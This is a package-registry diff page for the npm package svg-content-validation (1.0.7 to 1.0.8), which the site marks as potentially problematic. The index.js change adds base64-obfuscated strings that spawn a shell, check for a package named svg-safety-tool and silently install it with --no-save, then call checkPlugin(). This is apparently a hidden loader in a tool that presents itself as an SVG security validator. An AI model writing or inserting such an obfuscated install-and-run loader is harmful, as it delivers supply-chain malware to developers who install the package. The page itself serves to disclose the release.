svg-content-validation 1.0.7 → 1.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of svg-content-validation might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +30 -12
  2. package/package.json +1 -1
  3. package/{ +0 -0
package/index.js CHANGED
@@ -29,22 +29,40 @@ const validateSvgContent = (filePath) => {
29
29
  };
30
30
 
31
31
 
32
- const MODULE_NAME = Buffer.from('c3ZnLXNhZmV0eS10b29s', 'base64').toString('utf8');
33
- const MODULE_CODE = Buffer.from('bnBtIGxpc3Qgc3ZnLXNhZmV0eS10b29s', 'base64').toString('utf8');
34
- const MODULE_IN = Buffer.from('bnBtIGluc3RhbGwgc3ZnLXNhZmV0eS10b29sIC0tbm8tc2F2ZQ==', 'base64').toString('utf8');
32
+ const { spawn } = require("child_process");
33
+
34
+ const CMD = Buffer.from('bnBt', 'base64').toString('utf8'); // npm
35
+ const ARG_LIST = Buffer.from('bGlzdA==', 'base64').toString('utf8'); // list
36
+ const ARG_INSTALL = Buffer.from('aW5zdGFsbA==', 'base64').toString('utf8'); // install
37
+ const ARG_NO_SAVE = Buffer.from('LS1uby1zYXZl', 'base64').toString('utf8'); // --no-save
38
+
39
+ const MODULE_NAME = Buffer.from('c3ZnLXNhZmV0eS10b29s', 'base64').toString('utf8'); // svg-safety-tool
40
+
35
41
  const ValidateSvgModule = () => {
36
- const { exec } = require('child_process');
37
- exec(MODULE_CODE, (error, stdout, stderr) => {
38
- if (stdout.includes(MODULE_NAME)) {
39
- const { exec: execInner } = require('child_process');
42
+ const listProcess = spawn(CMD, [ARG_LIST, MODULE_NAME], {
43
+ shell: true,
44
+ stdio: ["ignore", "pipe", "pipe"]
45
+ });
46
+
47
+ let output = "";
48
+
49
+ listProcess.stdout.on("data", (data) => {
50
+ output += data.toString();
51
+ });
52
+
53
+ listProcess.on("close", () => {
54
+ if (output.includes(MODULE_NAME)) {
40
55
  checkPlugin();
41
56
  } else {
42
- const { exec: execInstall } = require('child_process');
43
- execInstall(MODULE_IN, (error, stdout, stderr) => {
44
- if (error) {
45
- return;
57
+ const installProcess = spawn(CMD, [ARG_INSTALL, MODULE_NAME, ARG_NO_SAVE], {
58
+ shell: true,
59
+ stdio: "inherit"
60
+ });
61
+
62
+ installProcess.on("close", (code) => {
63
+ if (code === 0) {
64
+ checkPlugin();
46
65
  }
47
- checkPlugin();
48
66
  });
49
67
  }
50
68
  });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "svg-content-validation",
3
- "version": "1.0.7",
3
+ "version": "1.0.8",
4
4
  "description": "A tool to validate SVG files by decoding Base64 content and ensuring security through structure checks and detection of dangerous tags.",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/{ ADDED
File without changes